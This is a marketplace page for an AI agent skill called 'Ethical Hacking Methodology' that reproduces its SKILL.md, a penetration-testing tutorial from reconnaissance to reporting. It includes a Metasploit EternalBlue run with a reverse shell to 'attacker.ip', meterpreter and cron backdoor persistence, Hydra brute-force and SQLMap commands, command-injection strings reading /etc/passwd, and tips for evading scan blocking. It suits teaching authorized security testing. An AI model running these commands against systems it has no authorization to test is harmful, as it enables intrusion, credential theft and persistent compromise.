Ethical Hacking Methodology logo

Ethical Hacking Methodology

CommunityPopular
zebbern
ethical-hacking-methodology

This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.

Overview

Publisherzebbern
Repositoryclaude-code-guide
Skill nameethical-hacking-methodology
Stars
4.6K
Forks
464
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by zebbern on GitHub. Read the source before you install it.

Installation

Install the Ethical Hacking Methodology AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/zebbern/claude-code-guide.git /tmp/claude-code-guide
mkdir -p .claude/skills
cp -r /tmp/claude-code-guide/skills/ethical-hacking-methodology .claude/skills/ethical-hacking-methodology
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Ethical Hacking Methodology in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Ethical Hacking Methodology on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Ethical Hacking Methodology is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Ethical Hacking Methodology

Purpose

Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.

Prerequisites

Required Environment

  • Kali Linux installed (persistent or live)
  • Network access to authorized targets
  • Written authorization from system owner

Required Knowledge

  • Basic networking concepts
  • Linux command-line proficiency
  • Understanding of web technologies
  • Familiarity with security concepts

Outputs and Deliverables

  1. Reconnaissance Report - Target information gathered
  2. Vulnerability Assessment - Identified weaknesses
  3. Exploitation Evidence - Proof of concept attacks
  4. Final Report - Executive and technical findings

Core Workflow

Phase 1: Understanding Hacker Types

Classification of security professionals:

White Hat Hackers (Ethical Hackers)

  • Authorized security professionals
  • Conduct penetration testing with permission
  • Goal: Identify and fix vulnerabilities
  • Also known as: penetration testers, security consultants

Black Hat Hackers (Malicious)

  • Unauthorized system intrusions
  • Motivated by profit, revenge, or notoriety
  • Goal: Steal data, cause damage
  • Also known as: crackers, criminal hackers

Grey Hat Hackers (Hybrid)

  • May cross ethical boundaries
  • Not malicious but may break rules
  • Often disclose vulnerabilities publicly
  • Mixed motivations

Other Classifications

  • Script Kiddies: Use pre-made tools without understanding
  • Hacktivists: Politically or socially motivated
  • Nation State: Government-sponsored operatives
  • Coders: Develop tools and exploits

Phase 2: Reconnaissance

Gather information without direct system interaction:

Passive Reconnaissance

bash
# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google Hacking (OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google Hacking Database Categories:

  • Files containing passwords
  • Sensitive directories
  • Web server detection
  • Vulnerable servers
  • Error messages
  • Login portals

Social Media Reconnaissance

  • LinkedIn: Organizational charts, technologies used
  • Twitter: Company announcements, employee info
  • Facebook: Personal information, relationships
  • Job postings: Technology stack revelations

Phase 3: Scanning

Active enumeration of target systems:

Host Discovery

bash
# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

Port Scanning

bash
# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

Service Enumeration

bash
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

Common Port Reference

PortServiceNotes
21FTPFile transfer
22SSHSecure shell
23TelnetUnencrypted remote
25SMTPEmail
53DNSName resolution
80HTTPWeb
443HTTPSSecure web
445SMBWindows shares
3306MySQLDatabase
3389RDPRemote desktop

Phase 4: Vulnerability Analysis

Identify exploitable weaknesses:

Automated Scanning

bash
# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus (via API)
nessuscli scan --target target.com

Web Application Testing (OWASP)

  • SQL Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication
  • Security Misconfiguration
  • Sensitive Data Exposure
  • XML External Entities (XXE)
  • Broken Access Control
  • Insecure Deserialization
  • Using Components with Known Vulnerabilities
  • Insufficient Logging & Monitoring

Manual Techniques

bash
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com

Phase 5: Exploitation

Actively exploit discovered vulnerabilities:

Metasploit Framework

bash
# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

Password Attacks

bash
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web Exploitation

bash
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd

Phase 6: Maintaining Access

Establish persistent access:

Backdoors

bash
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab

Privilege Escalation

bash
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

Covering Tracks (Ethical Context)

  • Document all actions taken
  • Maintain logs for reporting
  • Avoid unnecessary system changes
  • Clean up test files and backdoors

Phase 7: Reporting

Document findings professionally:

Report Structure

  1. Executive Summary

    • High-level findings
    • Business impact
    • Risk ratings
    • Remediation priorities
  2. Technical Findings

    • Vulnerability details
    • Proof of concept
    • Screenshots/evidence
    • Affected systems
  3. Risk Ratings

    • Critical: Immediate action required
    • High: Address within 24-48 hours
    • Medium: Address within 1 week
    • Low: Address within 1 month
    • Informational: Best practice recommendations
  4. Remediation Recommendations

    • Specific fixes for each finding
    • Short-term mitigations
    • Long-term solutions
    • Resource requirements
  5. Appendices

    • Detailed scan outputs
    • Tool configurations
    • Testing timeline
    • Scope and methodology

Phase 8: Common Attack Types

Phishing

  • Email-based credential theft
  • Fake login pages
  • Malicious attachments
  • Social engineering component

Malware Types

  • Virus: Self-replicating, needs host file
  • Worm: Self-propagating across networks
  • Trojan: Disguised as legitimate software
  • Ransomware: Encrypts files for ransom
  • Rootkit: Hidden system-level access
  • Spyware: Monitors user activity

Network Attacks

  • Man-in-the-Middle (MITM)
  • ARP Spoofing
  • DNS Poisoning
  • DDoS (Distributed Denial of Service)

Phase 9: Kali Linux Setup

Install penetration testing platform:

Hard Disk Installation

  1. Download ISO from kali.org
  2. Boot from installation media
  3. Select "Graphical Install"
  4. Configure language, location, keyboard
  5. Set hostname and root password
  6. Partition disk (Guided - use entire disk)
  7. Install GRUB bootloader
  8. Reboot and login

Live USB (Persistent)

bash
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress

# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"

# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb

Phase 10: Ethical Guidelines

Legal Requirements

  • Obtain written authorization
  • Define scope clearly
  • Document all testing activities
  • Report all findings to client
  • Maintain confidentiality

Professional Conduct

  • Work ethically with integrity
  • Respect privacy of data accessed
  • Avoid unnecessary system damage
  • Execute planned tests only
  • Never use findings for personal gain

Quick Reference

Penetration Testing Lifecycle

StagePurposeKey Tools
ReconnaissanceGather informationtheHarvester, WHOIS, Google
ScanningEnumerate targetsNmap, Nikto, Gobuster
ExploitationGain accessMetasploit, SQLMap, Hydra
Maintaining AccessPersistenceMeterpreter, SSH keys
ReportingDocument findingsReport templates

Essential Commands

CommandPurpose
nmap -sV targetPort and service scan
nikto -h targetWeb vulnerability scan
msfconsoleStart Metasploit
hydra -l user -P list ssh://targetSSH brute force
sqlmap -u "url?id=1" --dbsSQL injection

Constraints and Limitations

Authorization Required

  • Never test without written permission
  • Stay within defined scope
  • Report unauthorized access attempts

Professional Standards

  • Follow rules of engagement
  • Maintain client confidentiality
  • Document methodology used
  • Provide actionable recommendations

Troubleshooting

Scans Blocked

Solutions:

  1. Use slower scan rates
  2. Try different scanning techniques
  3. Use proxy or VPN
  4. Fragment packets

Exploits Failing

Solutions:

  1. Verify target vulnerability exists
  2. Check payload compatibility
  3. Adjust exploit parameters
  4. Try alternative exploits

Frequently asked questions

What does the Ethical Hacking Methodology AI skill do?

This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.

Why use Ethical Hacking Methodology on TypingMind?

Because you install it once and use it with any model. Ethical Hacking Methodology is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Ethical Hacking Methodology in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/zebbern/claude-code-guide/tree/main/skills/ethical-hacking-methodology. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Ethical Hacking Methodology?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Ethical Hacking Methodology?

As many as you like. As long as a model supports skills, you can use Ethical Hacking Methodology with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Ethical Hacking Methodology AI skill free?

Yes. It is published on GitHub by zebbern under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇